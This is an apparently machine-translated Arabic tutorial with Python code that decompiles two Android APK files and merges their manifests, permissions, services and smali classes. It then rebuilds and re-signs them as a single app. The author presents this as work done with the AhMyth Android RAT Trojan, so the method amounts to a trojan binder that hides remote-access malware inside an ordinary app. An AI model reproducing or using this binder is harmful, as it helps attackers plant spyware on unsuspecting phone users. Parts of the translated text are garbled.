
لقد قررت بطريقة ما أن ألصق ملفين لملف apk ، ولكن ليس هناك الكثير من المعلومات حول كيفية القيام بذلك على الإنترنت. ثم مسلحًا بـ Ahmyth Trojan for android (
مصدره ) ، بدأت رحلة إلى عالم لصق apk بأيديكم. لفترة وجيزة حول هذا أبعد ...
باختصار عن جوهر المشكلة:
هناك ملفان لملف apk (لنفترض 1.apk و 2. apk). تتمثل المهمة في إنشاء ملف apk 3.apk ، والذي سيتم لصقه بـ 1 و 2 apk (وسيؤدي وظائفه).
باختصار (كود بيثون):
لدينا:
1. مجلد
apk - للملفات مع apk.
2. مجلد
tmp - للملفات المترجمة ؛
3. مجلد
الأدوات - مع برامج إضافية (مثل apktool.jar ، sign.jar ، testkey).
أولاً ، نحدد المجلد الحالي الذي نعمل فيه والمجلدات التي سنقوم بفكها:
ثم نقوم بفك ملفات apk إلى مجلد tmp:
print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )
بعد هذه الخطوة ، لدينا مجلدين / tmp / 1 و / tmp / 2 مع ملفات غير مجمعة. الآن الجزء الممتع هو
اتحاد البيانات !
print " " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
الآن بالترتيب في هذا الرمز:نجد ملف AndroidManifest.xml في المجلد / tmp / 1:
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
في هذا الملف نجد جميع الخدمات والفئات المعلنة:
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")]
في مجلد AndroidManifest.xml / tmp / 1 ، انسخ كل شيء من العلامة "<استخدام-إذن" إلى العلامة "<تطبيق". فيما يلي جميع الأذونات التي يحتاجها البرنامج:
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]
نجد ملف AndroidManifest.xml في مجلد / tmp / 2:
mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()
بعد ذلك ، نحتاج إلى
دمج كل هذا في ملف واحد ، بحيث يكون كل شيء في مكانه.
يتكون البيان الجديد (new_mainfest2) من:
- بداية تطبيق AndroidManifest.xml 2.apk (من البداية إلى نهاية الأذونات اللازمة) ؛
- نضيف هنا أذونات التطبيق 1.apk (إذن 1) ؛
- أضف كل ما هو موجود في AndroidManifest.xml من تطبيق 2.apk من "<application" إلى "
إضافة جميع خدمات التطبيق 1. apk (service1)؛
أضف بقايا تطبيق AndroidManifest.xml 2.apk.
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
استبدال AndroidManifest.xml في المجلد / tmp / 2:
هذا يكمل بناء AndroidManifest. يبقى نسخ جميع الفئات من / tmp / 1 إلى / tmp / 2. بتعبير أدق ، سنقوم بنسخ مجلدات
smali (هنا جميع فئات التطبيق) وغير
معروفة :
subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True )
حسنًا ، في الختام ، تحتاج إلى جمع كل هذا في ملف apk ، وتوقيع:
print " apk "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print " "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )
ونتيجة لذلك ، يظهر ملف 3.apk في مجلد tmp ، وهو لصق الاثنين الآخرين.
ملاحظة في هذا التجسيد ، عند لصق أذونات تطبيقين ، لا يتم التحقق من مقارنتها وإضافة تلك التي ليست فقط. قد تكون (وسوف) هناك ازدواجية في إعلان التصاريح. ولكن في هذه المرحلة ، يعمل كل شيء مع الازدواجية.
مصادر:
→
AhMyth-Android-RAT